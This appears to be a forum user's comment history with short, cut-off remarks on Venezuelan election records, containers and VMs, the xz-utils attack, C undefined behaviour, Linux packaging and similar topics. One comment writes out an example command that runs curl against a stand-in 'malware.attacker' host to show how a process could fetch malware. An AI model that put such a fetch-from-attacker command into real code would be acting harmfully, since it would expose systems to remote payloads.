akdev1l

16 ms·

301.
by akdev1l 2y ago
Because someone just created it so no one has packaged it yet
302.
by akdev1l 2y ago
Assumptions in the software. Jemalloc is infamous for this: https://github.com/sigp/lighthouse/issues/5244
303.
by akdev1l 2y ago
> There's no way for someone to make an identifier that's also a secret secure. umm what? Private-Public key authentication exists.
304.
by akdev1l 2y ago
> credit bureau industries are obviously impossible to run safely and should be destroyed I am not sure I agree with that premise. I would say there are literally no incentives to secure that data and no penalty for leaking it. Hence for
305.
by akdev1l 2y ago
Then any process can do `system(“bash -c curl malware.attacker”)`
306.
by akdev1l 2y ago
Oh cool, I had no idea what the QR code was. There’s over 20k images so using a phone isn’t feasible. But programmatically cropping the QR code and scanning it seems doable. Thank you for your input
307.
by akdev1l 2y ago
The locals probably can’t request shit because those records are in custody of the military. Many Venezuelan people have verified their records. Including the “witnesses” who have signed all the records. The signatures can be seen on the pi
308.
by akdev1l 2y ago
Those are not “forecasts”. Those are actual counts based on the records they have (80% of all records). There is no forecasting being done, they simply counted the votes from the voting records.
309.
by akdev1l 2y ago
There’s a literal website with the pictures from the raw voting records. People in this thread don’t know a lot of about the Venezuelan situation for how many opinions they seem to emit. 1. https://x.com/rusosnith/statu
310.
by akdev1l 2y ago
There is a literal website posted by the opposition. 1. Aggregated reports: https://resultadosconvzla.com/ 2. Raw images of the voting records: https://resultadospresidencialesvenezuela2024.com/ The second
311.
by akdev1l 2y ago
This is going further into the hell that is shell-generated scripts that culminated in the xz-utils attack. We would benefit from steering away from auto-generated scripts. Autoconf included.
312.
by akdev1l 2y ago
where the rust folks at edit: wtf is this > is compromised by a cabal of woke tards that are doing strange things.
313.
by akdev1l 2y ago
Crowdstrike should be held liable and sued out of existence.
314.
by akdev1l 2y ago
> Legally, I think somewhere in their license it says is that they're not responsible in any way or form if their software malfunctions in any way. I really should add this to my resume and see if it’ll work.
315.
by akdev1l 2y ago
As some other people pointed out. AWS SigV4 is just a spec on how to apply HMAC to validate/authenticate requests. You can implement quite easily in any language without touching any Amazon tooling or infrastructure.
316.
by akdev1l 2y ago
As the other person pointed out, anything that happens before main is strictly not covered by the C standard. Even things like “printf” can’t be implemented purely in standard C. Even making a syscall is outside of the scope of the C standa
317.
by akdev1l 2y ago
I think it is UB Edit: actually looks like it is UB in C++ but not C
318.
by akdev1l 2y ago
If you use Ubuntu then just install systemd from the repos and use that imo. Less learning for you to do if you already know how services are configured in Ubuntu. You’ll need to point the entrypoint to /usr/bin/init.
319.
by akdev1l 2y ago
I guess you misunderstood the word “location”. The voting centre is typically the closest public school to where you live. So when I say location here I mean the neighborhood where you live. Also the main concern isn’t the government. They
320.
by akdev1l 2y ago
> ALL sovereign countries should practice sovereign software and safeguard PII of its citizens Most countries are incapable of this and when they do try they do a worse job. My government has a website that allows you to fetch a person’s
321.
by akdev1l 2y ago
> So when you need to figure out if a device is in the same building as you, is it easier to say "1.2.3. - oh, that's my building" or "1234:5678:90ab:cdef:1234:5678:90ab:: - oh, that's my building"? This is
322.
by akdev1l 2y ago
> I mean they could ship rootless docker by default, like podman defaults to rootless (or other by now possible more secure non default setups). Upstream doesn’t support that configuration as default and it will likely break all the dock
323.
by akdev1l 2y ago
Or just use podman or any other rootless container runtime
324.
by akdev1l 2y ago
A VM is a virtualized instance with virtual hardware and can therefore run its own operating system with its own kernel to interface with the virtual hardware. A container is basically a process restricted by multiple kernel namespace isola
325.
by akdev1l 2y ago
The kernel can be attacked and exploited. Container escape exploits are more common than VM escape exploits.
326.
by akdev1l 2y ago
https://github.com/containers/buildah/blob/main/docs/buildah...
327.
by akdev1l 2y ago
> I kinda think having a tool to invoke `bwrap` is overkill for most cases. It sounds like you built yourself some tooling that consists of miscellaneous shell scripts/functions/aliases.
328.
by akdev1l 2y ago
> so you need to have the basic understanding to handle it yourself No they don’t. This idea that people need to become System Administrators to use Linux really needs to die.
329.
by akdev1l 2y ago
you can build flatpaks as OCI containers using nix. I’m not sure how that helps the issue of bundling dependencies though.
330.
by akdev1l 2y ago
Because /bin only contains binaries whereas /usr is self-contained. It will contain icons/libraries/shared resources/etc that the binaries actually need to function. The idea is that /usr can be a snapshot of y

More ›